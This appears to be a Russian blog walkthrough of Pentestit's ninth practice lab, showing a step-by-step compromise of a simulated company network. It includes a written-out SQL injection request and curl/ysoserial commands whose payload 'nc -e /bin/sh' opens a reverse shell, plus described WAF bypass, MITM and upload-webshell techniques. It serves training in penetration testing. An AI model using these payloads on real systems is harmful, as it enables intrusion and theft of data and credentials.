![](https://habrastorage.org/files/5ae/cfa/df0/5aecfadf0f9d4155b884142e24237a47.png)
Компания Pentestit 20-го мая запустила новую, уже девятую лабораторию для проверки навыков практического тестирования на проникновение.
Лаборатория представляет собой корпоративную сеть, очень похожую на сеть настоящей организации. Благодаря лабораториям Pentestit можно всегда быть в курсе последних уязвимостей и попробовать себя в качестве настоящего пентестера, параллельно обучаясь у профессионалов — тех, кто каждый день занимается тестированием на проникновение в реальных сетях.
К 1-му июня лаборатория была пройдена — все 13 машин и 14 токенов были взяты. Теперь подошло время описать процесс прохождения лаборатории в полном объеме для всех, кто еще не успел пройти лабораторию, кто хотел бы узнать больше об актуальных уязвимостях, или глубже окунуться в мир тестирования на проникновение.
Сразу хочу отметить, что процесс прохождения лаборатории получился довольно трудоемким, а его описание — длинным, но, надеюсь, интересным. Начнем!
Disclaimer
Я не являюсь сотрудником или аффилированным лицом компании Pentestit. Этот документ описывает шаги, которые я предпринял, чтобы решить задания в лаборатории. Мои личные рекомендации и предпочтения никаким образом не относятся к официальному мнению компании Pentestit.
Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные благодаря информации из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.
Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные благодаря информации из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.
Подключение к лаборатории
Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании CyBear32C.
Зарегистрируйтесь здесь, и затем следуйте этим инструкциям для того, чтобы подключиться.
Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь — самое время.
Начинаем тестирование
После регистрации и подключения мы видим следующую схему сети:
![](https://habrastorage.org/files/662/5b0/b89/6625b0b89a444122abc2b832f653ee8b.png)
VPN-подключение остается за кадром, и после него мы получаем доступ к единственному внешнему IP компании CyBear32C — 192.168.101.8, который в реальной жизни был бы шлюзом в интернет. Начнем, как обычно, с enumeration и, в частности, со сканирования портов, чтобы определить какие сервисы из внутренних подсетей доступны снаружи.
Начнем с быстрого сканирования портов.
![](https://habrastorage.org/files/83c/94a/f4c/83c94af4c4b341fdb568fa6052ccae6a.png)
Как видим, нам доступен целый набор сервисов с разных внутренних машин (см. схему сети), включая, вероятнее всего, сервер mainsite (порт 80), сервер mail (25, 8100), ssh (порт 22) и другие. Кроме того, есть еще https ресурс и прокси сервер.
Изучаем MAINSITE
Начнем с того, чтобы зайти по адресу 192.168.101.8:
![](https://habrastorage.org/files/954/617/a54/954617a54eea4a84aa82a079155e5297.png)
Нас автоматически редиректит на www.cybear32c.lab, посмотрим на это внимательнее:
![](https://habrastorage.org/files/d74/92d/513/d7492d5130004612bd3d99b012ad2d1f.png)
Нам приходит заголовок
Location: http://cybear32c.lab
— виртуальный хост, по которому собственно и будет доступен сайт компании. ![](https://habrastorage.org/files/f3e/421/846/f3e4218465b34af4aeec2cd1054ee41d.png)
Добавляем нужный домен в
/etc/hosts
и пробуем еще раз:![](https://habrastorage.org/files/95d/5a1/bd2/95d5a1bd2fdb469e98b79ebcca26ff1a.png)
Отлично, сайт поднялся, и можно его начать изучать. Попробуем понять, что это такое. Перед тем, как начать изучать сайт вручную, можно запустить утилиту whatweb, а затем dirb, которая поможет определить, какие есть поддиректории (можно воспользоваться и другими сканерами, например nikto):
![](https://habrastorage.org/files/6e0/6cd/ea5/6e06cdea5cac43588b7f8cc7a4a5c05a.png)
Видим, что коды ответов на все запросы равны 403 — наверняка сайт защищен WAF-ом. Так как в браузере все работает, пробуем подставить User Agent и находим несколько интересных страниц:
![](https://habrastorage.org/files/3c0/563/50b/3c056350bb8443e7a4a8c71a7c45ba5e.png)
Параллельно смотрим на сайт, видим, что это — Wordpress, защищенный WAF-ом. Заход на страницу /admin переводит нас на закрытый wp-login.php.
![](https://habrastorage.org/files/b5d/593/f3f/b5d593f3faf64bc3b47f35b43d891cae.png)
Для Wordpress сайтов есть великолепная утилита wpscan, которая позволяет проверить их на наличие плагинов с уязвимостями. Пробуем для начала посмотреть общую информацию по сайту, подставив нужный user agent. Он тут же находит несколько проблем, в том числе и уязвимый к SQL injection плагин wp-symposium v15.1.
![](https://habrastorage.org/files/41a/431/cd8/41a431cd86da44ff93d4d5e50ede8188.png)
Теперь пробуем проэксплуатировать каждую из приведенных уязвимостей с помощью эксплоитов по ссылкам. К сожалению, срабатывает WAF, и запросы с пэйлоадами на SQL не проходят. Попробуем его обойти…
Обход WAF
Часто многие Web Application Firewalls используют сигнатуры атак, которые можно обойти, немного изменив синтаксис: добавив конкатенацию или изменив регистр в запросе: vErSiOn вместо version, например. Обход WAF — отдельная серьезная тема, которой можно посвятить множество книг и статей.
К сожалению, эти варианты не сработали. Вспомним о прокси на порту 3128 и попробуем настроить браузер на работу через него.
![](https://habrastorage.org/files/a02/3ef/c23/a023efc238094b5ba13a25f99ca75b1d.png)
Прокси запрашивает авторизацию:
![](https://habrastorage.org/files/6b8/9eb/e03/6b89ebe0350f4d0bbd8d0d22625c752e.png)
Здесь нам пригодятся данные из графы Contact Us, которые мы видим на этом же сайте.
Создаем текстовый файл со словариком и двумя учетными записями: b.muncy и r.diaz и пробуем подобрать пароль:
![](https://habrastorage.org/files/670/d04/49a/670d0449a5054cba9d1af5ecb8b439f9.png)
Удачно! Теперь попробуем еще раз зайти на сайт через прокси и авторизоваться в нем. Результат в данном случае уже выглядит по-другому (сайт также доступен по внутреннему IP: 172.16.0.5, но другие внутренние сервисы все еще недоступны):
![](https://habrastorage.org/files/360/aad/1f1/360aad1f1d37451a8c47e75b34cab6b6.png)
Сайт больше не говорит о неправомерных действиях — мы успешно обошли WAF.
Эксплуатация уязвимостей в Wordpress плагине
Теперь можно изучить сайт и потенциальные уязвимости внимательнее. Можно это делать и напрямую, но мне удобнее для этого использовать Burp Repeater. Для начала нужно настроить подключение через upstream proxy:
![](https://habrastorage.org/files/b21/f06/a4d/b21f06a4dec5464a8cfb658ceee9c194.png)
На вкладке User options добавляем Upstream Proxy Server, вводим полученные данные для нашего хоста, настраиваем браузер на Burp proxy и пробуем различные эксплоиты, найденные wpscan-ом.
Эта же возможность позволит использовать утилиты, которые не поддерживают авторизацию в прокси напрямую. Если такие понадобятся, достаточно будет указать в виде proxy 127.0.0.1:8080.
Попробовав несколько вариантов, видим, что срабатывает одна из SQL инъекций:
GET http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=version(); -- HTTP/1.1
Получаем номер версии MySQL:
![](https://habrastorage.org/files/5f7/54a/91d/5f754a91dc734f65b8d0ec1c6c7d87ed.png)
Результат: 5.5.49-0+deb8u1.
Дело за малым — осталось эксплуатировать эту уязвимость с помощью sqlmap:
![](https://habrastorage.org/files/821/c87/ec1/821c87ec1d6348828ada383c7c72076f.png)
Так как в данном случае инъекция происходит в имя колонки (а не в значение, как обычно), важно указать суффикс после payload (
' -- '
) для того, чтобы sqlmap сконцентрировался именно на этом типе инъекции. Если этого не сделать, sqlmap может ошибочно определить тип инъекции как blind, и в таком случае вытягивать данные будет очень затруднительно и долго.Получаем доступные базы с использованием опции --dbs:
![](https://habrastorage.org/files/352/b01/9be/352b019be47c4d0bb2ea2dbc0e4a3053.png)
Затем таблицы (
-D tl9_mainsite --tables
):![](https://habrastorage.org/files/d1f/919/5bd/d1f9195bd37a438981b0efcf4bf113df.png)
И осталось только получить данные из таблицы wp_token с помощью команды:
![](https://habrastorage.org/files/a39/1af/df4/a391afdf497a4f7a94e8589413b617da.png)
![](https://habrastorage.org/files/3a6/9c6/742/3a69c6742b244773b46e316b9f0560ab.png)
Токен BYPASS
Во время сканирования портов обнаружился, в том числе, и https ресурс на порту 443. Беглый анализ и утилита dirb ничего интересного не дали:
![](https://habrastorage.org/files/25a/e7b/d74/25ae7bd740c14d93b246d9e43f3ce747.png)
Ресурс доступен по https, при этом, видимо, в разработке и давно не обновлялся. Проверим нашумевшую в 2014-м уязвимость heartbleed:
![](https://habrastorage.org/files/3cb/6d6/ac5/3cb6d6ac5b4d4ed383f53793360f121f.png)
Сервис уязвим! Для эксплуатации воспользуемся скриптом отсюда. После прочтения множества
![](https://habrastorage.org/files/c66/d4f/cef/c66d4fcefbef47d5a3e5d94349ab3178.png)
Кто-то зашел туда и скачал старый бэкап. Давайте и мы это сделаем:
![](https://habrastorage.org/files/a7c/f97/8ef/a7cf978efbb1443783c8892ce1dc5a8c.png)
Вот и токен, а вместе с ним несколько новых аккаунтов и хеши их паролей. Пробуем восстановить пароли из хешей (Apache apr1 хеш в hashcat идет под номером 1600):
![](https://habrastorage.org/files/de0/38b/1d2/de038b1d2c97465bbf4c35661c1ddca9.png)
Получаем уже известный из mainsite пароль b.muncy, а также остальные пароли других аккаунтов.
Очень полезно записывать все найденные учетные данные и пароли для того, чтобы в будущем иметь возможность проверять их, быстро изучая новую цель, т.к. пароли пользователей в корпоративной сети с высокой вероятностью будут повторяться от одного сервиса к другому.
Атакуем SSH
Несмотря на предыдущее замечание, к сожалению, ни один из найденных паролей пока что не подошел к почте (которая обычно дает очень неплохие результаты в продвижении вглубь корпоративной сети). Не беда, попробуем подключиться к SSH на порту 22 и попробовать там. Пробуем и видим следующую картину:
![](https://habrastorage.org/files/ce0/4d9/535/ce04d9535e59494abe3f427731c0aa5d.png)
Довольно необычная ситуация для подключения по SSH: видимо, используется собственный модуль для аутентификации. Кроме того, обращаем внимание на то, что система запрашивает сначала “The password”, а потом еще и “Password”.
Пробуем все найденные учетные данные в разных комбинациях — безрезультатно.
Так как ни почта, ни SSH не принесли желаемых результатов, а других доступных сервисов больше не остается, видимо, мы что-то упустили. SSH важен еще и тем, что мы получим доступ внутрь корпоративной сети и сможем продвинуться дальше, поэтому нам интересно сконцентрироваться на нем.
Пробуем еще раз и видим автора скрипта: Pam © krakenwaffe — не похоже на что-то стандартное.
Ищем это в Google и вскоре находим аккаунт разработчика krakenwaffe на Github, который к тому же работает в компании cybear32c — интересно!
![](https://habrastorage.org/files/599/923/4cb/5999234cb86040bcbc54e0885a95fa3f.png)
Изучив contributions некого Девида, видим единственный файл: mypam.c, расположенный здесь: github.com/krakenwaffe/eyelog/blob/master/mypam.c. После беглого анализа кода становится понятно, что это именно тот модуль, в котором мы пытаемся авторизоваться, и который запрашивает у нас “The password”.
![](https://habrastorage.org/files/dd1/fad/591/dd1fad5918c348fead0898ec6a392c0c.png)
Под рутом зайти не получится, смотрим, что дальше… Внимание привлекает следующий участок:
![](https://habrastorage.org/files/faf/a30/8b6/fafa308b6cd344d8a0f0a40ca525dead.png)
Видим, что введенный пароль проходит сравнение с
daypass<день><час>
. Пробуем подставить текущее значение, а именно “daypass80” на момент написания этой части документа:![](https://habrastorage.org/files/1f8/ffa/1dc/1f8ffa1dc6844d8dabe38871a1ec9a06.png)
Все равно не срабатывает. Тогда вспоминаем, как зовут нашего разработчика, который поделился с нами паролем через Github — David Nash. Пробуем зайти под d.nash:
![](https://habrastorage.org/files/4b4/4d6/fca/4b44d6fca419409884dd4b5e44bef919.png)
Получилось! Мы зашли на SSH сервер. Посмотрим, что есть вокруг:
![](https://habrastorage.org/files/5dc/441/75c/5dc44175c3e547c59e4c0c9a7d0f7213.png)
Помимо токена в папке .ssh также находим и приватный ключ для подключения к другим серверам (к каким — можно узнать, поработав с файлом known_hosts) — наверняка пригодится в дальнейшем!
Теперь мы получаем плацдарм для следующих атак, и перед нами открывается вся корпоративная сеть компании CyBear32C.
Следующие шаги
После взятия SSH можно выходить на все остальные компьютеры в сети. С какого начать? В первую очередь стоит просканировать все три подсети с помощью nmap, любезно предоставленного нам прямо на сервере SSH, и изучить доступные сервисы.
На данном этапе практически все внутренние ресурсы, за исключением Windows-машин и сервера dev, будут доступны для атаки — можно пробрасывать порты и пробовать.
Проброс портов
Для обеспечения удобного доступа к внутренней сети через вновь появившееся SSH подключение есть целое множество способов.
В первую очередь рекомендую изучить статью «Pivoting или проброс портов».
Кроме того полезно знать интересную возможность стандартного SSH клиента: проброс портов без перезапуска сессии и добавления параметров в командную строку.
Для этого достаточно нажать комбинацию клавиш Shift+~+C и перейти в командный режим работы:
![](https://habrastorage.org/files/de6/5af/6ff/de65af6ff4024f01b058ebda521ca7fc.png)
После ввода нужной команды, мы получим доступ к 80-му порту сервера 192.168.0.6 (photo) через порт 8086 на 127.0.0.1:
![](https://habrastorage.org/files/d0c/53d/ed2/d0c53ded2e6b4fdf932efcb375fb4392.png)
Photo-hosting и загрузка файлов
Сервер фото встречает нас формой для загрузки файлов и ничего больше, наверняка в ней и есть уязвимость.
С точки зрения разработчика сделать upload файлов безопасным очень сложно — векторов атаки на него может быть очень много: это или неработающая валидация по расширению файла, его MIME-типу, или уязвимость в библиотеке, которая обрабатывает файл, или race condition, или любая из множества других проблем.
Для начала посмотрим, на чем написан сайт:
![](https://habrastorage.org/files/bf8/29f/ac5/bf829fac54dd4a3caea92334e4465a0a.png)
И заодно запустим dirb, чтобы посмотреть какие скрытые директории есть на веб-сервере.
![](https://habrastorage.org/files/fd3/46a/96e/fd346a96e3264309aa12fdab9b398857.png)
Директория upload доступна прямо на сервере, попробуем загрузить безобидную картинку и убедимся, что файлы сохраняются именно в эту папку:
![](https://habrastorage.org/files/f80/45f/0bd/f8045f0bd0754c579e6a96092410cb01.png)
Так и есть, google.png доступен. Обращаем внимание, что сайт показывает размеры картинки, видимо есть какой-то анализ. Пробуем загрузить PHP файл:
![](https://habrastorage.org/files/93d/c63/71c/93dc6371cc9d46c1b4597172d68cd300.png)
Изменить MIME-тип и расширение не помогает:
![](https://habrastorage.org/files/49f/16a/150/49f16a150be14fb7b52dcbcd2ac34692.png)
Интересно, это дает нам сразу две подсказки: во-первых, файл, возможно, сначала загружается, а затем удаляется, и его можно успеть дернуть, и, во-вторых, мы еще раз убеждаемся, что проверка на то, что это картинка присутствует (видимо, с помощью
getimagesize()
, которую можно обмануть, добавив, например, GIF заголовок). Пробуем еще раз с таким файлом file.jpg:![](https://habrastorage.org/files/1fa/bbd/507/1fabbd5071f34786bae414a41e29dd92.png)
Файл загрузился успешно и даже доступен:
![](https://habrastorage.org/files/e58/46e/6df/e5846e6dff774e2bab941c3899d5b0a4.png)
Но, к сожалению, не выполняется. Пробуем загрузить этот файл с разными расширениями, раз php не срабатывает: .htaccess, .php5, .phtml и .pht — последний вариант работает! Он тоже выполняется:
![](https://habrastorage.org/files/248/a99/e38/248a99e381194876b6327f606d8009c3.png)
Теперь нужно получить шелл. Для этого слушаем с помощью nc на сервере SSH, и обращаемся к файлу:
![](https://habrastorage.org/files/04f/5b2/d96/04f5b2d96eb049bfbe8ef166898b6939.png)
![](https://habrastorage.org/files/354/ce3/080/354ce30803714af7958059aca7a76646.png)
И удачно получаем коннект:
![](https://habrastorage.org/files/4bd/723/515/4bd7235152974c2c955d02de13977bec.png)
Прямо в папке upload можно найти токен в скрытой поддиректории:
![](https://habrastorage.org/files/3e3/b23/fd4/3e3b23fd4a7d47f7b3c555a6481b318c.png)
Кстати, ради интереса можно изучить и исходники:
![](https://habrastorage.org/files/1b9/e06/276/1b9e062765f34e0eaf7774d4484f8cd7.png)
Видим, что файл сначала сохраняется в папку, а затем только проверяется, то есть кроме эксплуатированной нами уязвимости есть еще и race condition.
Кроме токена и этого кода на сервере ничего интересного не обнаруживаем и продолжаем дальше!
Изучаем FTP
Просканировав с помощью nmap сервер 172.16.0.4, находим открытый 21-й порт (ftp) и 22-й порт (ssh). Естественно, вход с нашим ssh ключиком не срабатывает, поэтому сконцентрируемся на самом FTP.
![](https://habrastorage.org/files/0c9/de2/0a2/0c9de20a26084d42b83d53c0e52e5664.png)
ProFTPD 1.3.5 имеет известную уязвимость, связанную с копированием файлов без аутентификации, которую можно проэксплуатировать через веб-сервер — копируем в /var/www, например, /etc/passwd, и мы уже немного ближе к цели.
Проблема в том, что веб сервер на этой машине не запущен… Попробуем подключиться к ftp серверу:
![](https://habrastorage.org/files/e77/e59/a58/e77e59a588d54528abc752cd0ce14246.png)
Анонимный вход доступен, и в папке dist находим исходники сервера. Интересно, наверняка их выложили не просто так, попробуем их поизучать. Скачиваем и распаковываем архив proftpd-dfsg-1.3.5.tar.bz2 с помощью ftp-клиента (команды lcd и get) и пробуем поискать изменения в коде. Начнем с поиска подстроки CYBEAR, и тут же находим файл src/help.c:
![](https://habrastorage.org/files/7b7/835/3f8/7b78353f83a54b32a4709f81c872fcae.png)
Похожий backdoor был встроен в версию 1.3.3с во время атаки на ProFTPD.
Попробуем воспользоваться предоставленным бекдором!
![](https://habrastorage.org/files/b5e/d09/9f5/b5ed099f59f048c9ba5bf886f9bf0c37.png)
Ну и в папке /home находим целый набор интересных файлов:
![](https://habrastorage.org/files/de8/2e3/c2f/de82e3c2fca74adc804216a9167221da.png)
Кроме токена в папке “old” мы находим:
- новую учетную запись m.barry,
- тестовый скрипт в папке m.barry/upload/test_scripts,
- конфигурационный файл роутера cisco c паролями,
- файл trouble.cap с паролем m.barry и указанием на то, что сервер dev скачивает все питоновские скрипты из папки test_scripts c FTP и, возможно, запускает их.
К сожалению, просто так подложить файл в test_scripts нельзя — недостаточно прав, поэтому придется продвигаться дальше и искать другой способ атаки на dev сервер.
Cамый быстрый токен — CISCO
Попробуем воспользоваться найденной информацией и начнем с cisco — пароль у нас уже есть. Вспоминаем IP по схеме сети и пробуем зайти:
![](https://habrastorage.org/files/d55/678/740/d556787403c941bca4baf5a01222bdb3.png)
Сразу же получаем токен! Теперь попробуем сбрутить хеш для enable 3:
![](https://habrastorage.org/files/ac6/885/ca2/ac6885ca289048f298598c6c83f9f1d1.png)
Находим пароль, пробуем его и получаем привилегированный режим:
![](https://habrastorage.org/files/3c2/4d6/0c8/3c24d60c80d84ae1a1e86d82b4513797.png)
Все готово. Конфигурационный файл роутера разрешает делать мониторинг трафика:
![](https://habrastorage.org/files/2d8/3c2/0d7/2d83c20d7fc845e190cb232012846d38.png)
С помощью этих команд можно поизучать трафик, идущий через эту подсеть (а именно — portal).
Как оказалось, есть возможности пройти лабораторию разными способами, и лично мне мониторинг трафика не понадобился. Поэтому я предлагаю оставить эту часть на самостоятельную проработку и продвинуться дальше.
NAS и незащищенные бэкапы
Продолжая изучать разные подсети, натыкаемся на сервер NAS:
![](https://habrastorage.org/files/a5e/c1d/c5e/a5ec1dc5eee546468b9a20442bf72396.png)
Открытый порт 3260 намекает на возможность подключения к iscsi. Если вы следили за новостями в области ИБ, то наверняка слышали о взломе итальянской компании Hacking Team, которая в данном случае стала прообразом CyBear32c. В сети можно найти writeup о том, как происходила атака, из которого можно почерпнуть много интересного.
Начнем с проброса порта на локальную машину:
![](https://habrastorage.org/files/e7a/c74/8da/e7ac748da2b949688d1073a4fd51f50b.png)
Устанавливаем iscsiadm и пробуем подключиться:
![](https://habrastorage.org/files/9af/094/1eb/9af0941ebbaf4461a0608effc5589546.png)
Пробуем подключиться, не получается.
![](https://habrastorage.org/files/90b/fc6/973/90bfc6973a024036b591605577d710fb.png)
Включаем debug mode и видим, что iscsiadm пытается подключиться к 192.168.0.3, которого в данном случае нет в нашей подсети.
Попробуем альтернативный вариант проброса портов и воспользуемся sshuttle. Так мы получим доступ к серверам по их настоящим IP адресам без необходимости пробрасывать каждый порт по отдельности. Подключаемся:
![](https://habrastorage.org/files/6ae/b1c/678/6aeb1c678bc54b5eb2f9f87dbb5c5711.png)
Удалось подключиться! Теперь изучим содержимое появившегося диска:
![](https://habrastorage.org/files/66f/1f2/5bd/66f1f25bd19a47498c24fc084dab71eb.png)
Теперь нужно подключить и этот vmdk:
![](https://habrastorage.org/files/44a/96f/62c/44a96f62cdcc4414ac8a984a3d928f2b.png)
Он начинается на диске по смещению 63 * 512 байт, а именно 32,256:
![](https://habrastorage.org/files/597/36c/9a8/59736c9a8a2f44709e60c80dc21909ad.png)
После этого Kali автоматически определяет присутствующий диск и предлагает посмотреть содержимое:
![](https://habrastorage.org/files/d8e/2b5/dee/d8e2b5dee68244aba0f8689fd1029784.png)
Есть! В поисках интересного находим пользователя token_nas_token, но в файловой системе напрямую ничего нет. Копируем базы реестра из WINDOWS\system32\config к себе и пробуем посмотреть сохраненные хеши паролей:
![](https://habrastorage.org/files/4ba/cd1/92e/4bacd192e16c422fb2df21e826670e20.png)
Чтобы долго не перебирать хеши локально, воспользуемся сервисом rainbowtables.it64.com. Можно сделать это и у себя, но с помощью сервиса будет быстрее.
Вносим существующие LM-хеши (первый хеш из дампа в каждой строке) и смотрим на результат. LM-хеширование приводит пароли к верхнему регистру, поэтому после получения результата нам нужно будет восстановить правильный регистр с помощью NTLM-хеша.
Все хеши и соответствующие им пароли найдены в базе. Сохраним их (в верхнем регистре) в отдельный файлик и воспользуемся john-ом c опцией -rules=NT, чтобы найти правильные пароли:
![](https://habrastorage.org/files/ad3/f16/13f/ad3f1613f07a4eff96ff4727d816815a.png)
И получаем пароли c помощью опции -show:
![](https://habrastorage.org/files/b04/430/322/b0443032263c4d9f962b5797ccb014c9.png)
Пароль от token_nas_token содержит токен к заданию! И мы получили новые учетные данные для d.rector. Продолжим!
Terminal2
Как уже обсуждалось выше, пароли, найденные в одном месте, могут подойти в другом. В данном случае, просканировав порты сервера terminal2, мы видим открытый RDP:
![](https://habrastorage.org/files/2f6/e7e/5ee/2f6e7e5ee33c45dcbb93defb6422ecc2.png)
Попробуем подключиться, используя учетные данные d.rector из NAS:
![](https://habrastorage.org/files/128/05b/920/12805b9203cf4260a958115296c5eecd.png)
Токен находится прямо на рабочем столе!
DEV и MITM
С получением доступа в локальную подсеть 192.168.3/24 у нас открываются новые возможности для атаки. Вспомним схему сети и заодно файл trouble.cap, найденный на FTP сервере:
![](https://habrastorage.org/files/a41/711/473/a41711473a3944f995ad7ae8b9923db3.png)
Очевидно, dev сервер обращается к FTP, скачивает оттуда все *.py файлы из папки test_scripts, как видно в trouble.cap, и, вероятнее всего, выполняет их. Доступ в эту папку на FTP сервере можно получить только от root.
Теперь, когда в нашем распоряжении сервер terminal, на котором удобно расположен Intercepter-NG, мы можем легко организовать MITM атаку. Попробуем!
Включаем Intercepter-NG из папки C:\Intercepter-NG. Первым делом нужно просканировать локальную сеть. Нажимаем правой кнопкой на пустом месте в таблице, ставим на всякий случай побольше ARP Scan Timeout и запускаем Smart Scan.
Intercepter при этом рассылает ARP запросы в своей подсети, чтобы определить существующие в ней хосты, а затем пробует определить, какая на каждом из них установлена ОС.
![](https://habrastorage.org/files/60b/25e/482/60b25e482050449e92603a2c2184ceb3.png)
Отлично, определились два хоста:
![](https://habrastorage.org/files/77f/b63/b31/77fb63b3144f46bdbfc0ec6fe275c865.png)
Stealth IP — это несуществующий IP адрес, который используется Intercepter-ом для осуществления MITM-атаки.
Так как клиент и сервер находятся в разных подсетях, они будут общаться друг с другом через шлюз; добавляем 3.3 в NAT, а 3.254 как шлюз.
![](https://habrastorage.org/files/82a/303/c14/82a303c14e6e4557b1079dc19699e585.png)
Параллельно нужно создать папочку на ftp сервере, в которую будет заходить dev, вместо папки upload. В названии должно быть столько же символов, сколько и в “upload”, так как Intercepter-NG может делать замену в трафике только для строк одинаковой длины.
![](https://habrastorage.org/files/515/0a8/24a/5150a824afab41a7a66b7a694987eac9.png)
В скрипт test.py, конечно, разместим полезную нагрузку — реверс шелл на 172.16.0.2 на порт 6666:
![](https://habrastorage.org/files/11e/2bc/a75/11e2bca754c84633ad026a1c9906e2e4.png)
Настраиваем Intercepter:
![](https://habrastorage.org/files/2b1/9ed/541/2b19ed5419ba4cb1ac72685280610ce3.png)
Traffic changer будет заменять upload на .uploa и, соответственно, когда m.barry сделает CWD upload, он попадет в нашу директорию .uploa и оттуда уже скачает наш скрипт, который и создаст нам reverse shell.
Включаем слушающую часть на SSH:
![](https://habrastorage.org/files/2ab/904/522/2ab904522c1f48aab3c54f1dfc42a600.png)
И включаем Incercepter нажатием трех кнопок: сначала общий sniff-инг справа вверху, затем NAT и затем ARP poison.
![](https://habrastorage.org/files/54b/210/9fb/54b2109fbead45c6aefeee1947eddf53.png)
Через минуту получаем шелл:
![](https://habrastorage.org/files/81e/5fe/fe9/81e5fefe91054494af3e79d3bfd76fd8.png)
А заодно и токен сервера dev:
![](https://habrastorage.org/files/702/6ba/8e7/7026ba8e7fde4f4d960ec468187f3bf7.png)
“Tragick” SITE-TEST
Теперь обратим свое внимание на сервер site-test. Как обычно в web задачах лаборатории, попробуем запустить whatweb и dirb, чтобы узнать, что есть на сервере.
![](https://habrastorage.org/files/545/9e6/c78/5459e6c78eae4159b674da0949ee32b3.png)
Сайт написан на PHP фреймворке laravel, который активно поддерживается. Кроме того, включены детальные логи ошибок:
![](https://habrastorage.org/files/842/f22/1fe/842f221fef4e46009705070238cda8a6.png)
Отсюда часто можно выудить информацию о внутренних путях на сервере, которая потом может пригодиться, например, при SQL инъекции. Но в данном случае это нам не сильно помогает…
dirb быстро начинает находить следующие доступные URLs:
![](https://habrastorage.org/files/835/3cf/3eb/8353cf3ebcfc45fc8bff9f76bcef5d11.png)
Безуспешно попробовав все учетные данные, которые уже были собраны за время прохождения лаборатории в админке, переключаемся на форму аплоада фотографии, тоже представленную на сайте, если по нему просто походить и нажать JOIN US:
![](https://habrastorage.org/files/aa1/b71/a06/aa1b71a060e54be5a20e7665bc6f422b.png)
Снова загрузка картинок, но теперь не удается найти, где эти картинки складываются (хотя папка /upload тоже через какое-то время обнаруживается утилитой dirb — но файлы в ней не доступны по исходным именам).
Попробуем уязвимость в ImageMagick, которая получила название ImageTragick.
Конструируем файл для загрузки:
![](https://habrastorage.org/files/9f6/c09/98e/9f6c0998efa742e8a4f356a7bbe3addc.png)
И включаем nc на порт 1234 на сервере SSH. Заполняем форму и загружаем файл oops.jpg c текстовым содержимым, показанным сверху.
![](https://habrastorage.org/files/9a8/214/3ab/9a82143ab03e4477b309267d949142c2.png)
Вот и коннект! В корневой папке (cd /) видим token.txt:
![](https://habrastorage.org/files/8f2/813/656/8f2813656ce34786a06e5cfa9ce1ac8a.png)
Открываем PORTAL
Попробуем изучить сервер portal. Начнем со сканирования портов.
![](https://habrastorage.org/files/755/902/81f/75590281fd094a21abe19bbf526a816c.png)
Обнаружился порт 8080, зайдя на который мы, собственно, и увидим портал:
![](https://habrastorage.org/files/60e/f52/f07/60ef52f07c7b4485bfcc2bf8d689ee2c.png)
Пробуем разные пароли из тех, что были найдены ранее. Подходит, например, логин t.smith с его паролем. Пароли можно было переиспользовать уже два раза — на terminal2 и здесь.
Получаем страницу отпусков и новые учетные данные:
![](https://habrastorage.org/files/66f/8b1/e84/66f8b1e8419e4c44aa373b7f61a6a3f5.png)
Пробуем зайти или подобрать пароль к логину a.petrov — безуспешно. Затем обращаем внимание на куки:
![](https://habrastorage.org/files/329/5ba/bea/3295babeaf16499197a063c036a66eb4.png)
Выглядит как base64, декодируем:
![](https://habrastorage.org/files/6a7/5c0/ff2/6a75c0ff2b6849aea691b6de9dbdaf08.png)
Это Java объект, в котором хранится имя пользователя и хеш его пароля в виде md5. Пробуем «подсунуть» имя a.petrov — не срабатывает.
Раз объект приезжает на клиент и затем восстанавливается на сервере, попробуем копнуть в этом направлении.
Во время восстановления объекта из строки base64 в бинарный формат и затем в память (десериализации) есть недавно продемонстрированная возможность выполнения произвольного кода. Такая уязвимость была, например, в Jenkins. Для эксплуатации пробуем использовать утилиту ysoserial.
После прочтения инструкции становится понятно, что есть возможность выполнить произвольную команду на сервере, используя утилиту. Она генерирует Java-объект, который потом во время десериализации выполнит
нужную нам команду (а именно reverse shell, в нашем случае).
Пишем небольшую команду для удобной отправки содержимого, генерируемого ysoserial в виде base64-куки на bash:
curl -b 'userInfo="'$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' ‘http://192.168.1.2:8080/index.jsp'
Возникает ошибка при выполнении:
![](https://habrastorage.org/files/038/f05/aa6/038f05aa6e924f9e9ed14adca4d36484.png)
Находим эту же проблему прямо на гитхабе разработчика.
Она уже исправлена в репозитории, но еще не собрана в release. Клонируем новую версию с github, устанавливаем maven и собираем ее локально:
apt-get install maven
git clone https://github.com/frohoff/ysoserial.git
mvn compile package
Получаем нужный нам файл!
![](https://habrastorage.org/files/79f/372/69b/79f37269b3a44cdd8e3dc360a3ce22f3.png)
Обновляем команду на новый payload Commons-Collections5:
curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'
На сервере ssh как обычно запускаем netcat, который слушает на порту 1235, запускаем на выполнение и:
![](https://habrastorage.org/files/8eb/294/279/8eb29427922845d1a95ed956e65a081e.png)
Долгожданный шелл. Находим token.txt в корневой папке:
![](https://habrastorage.org/files/54d/b62/d2b/54db62d2b4514a56b7cc9267bc7047a0.png)
И еще один токен поддался!
Поизучав немного портал, находим кое-что интересное в crontab:
![](https://habrastorage.org/files/e58/d3c/f5e/e58d3cf5e28e4eeb9002a5079bdc35c5.png)
Скрипт проверки почты! Посмотрим, что в нем.
![](https://habrastorage.org/files/700/4b2/9b1/7004b29b155c40b9bc693cda61bb55d0.png)
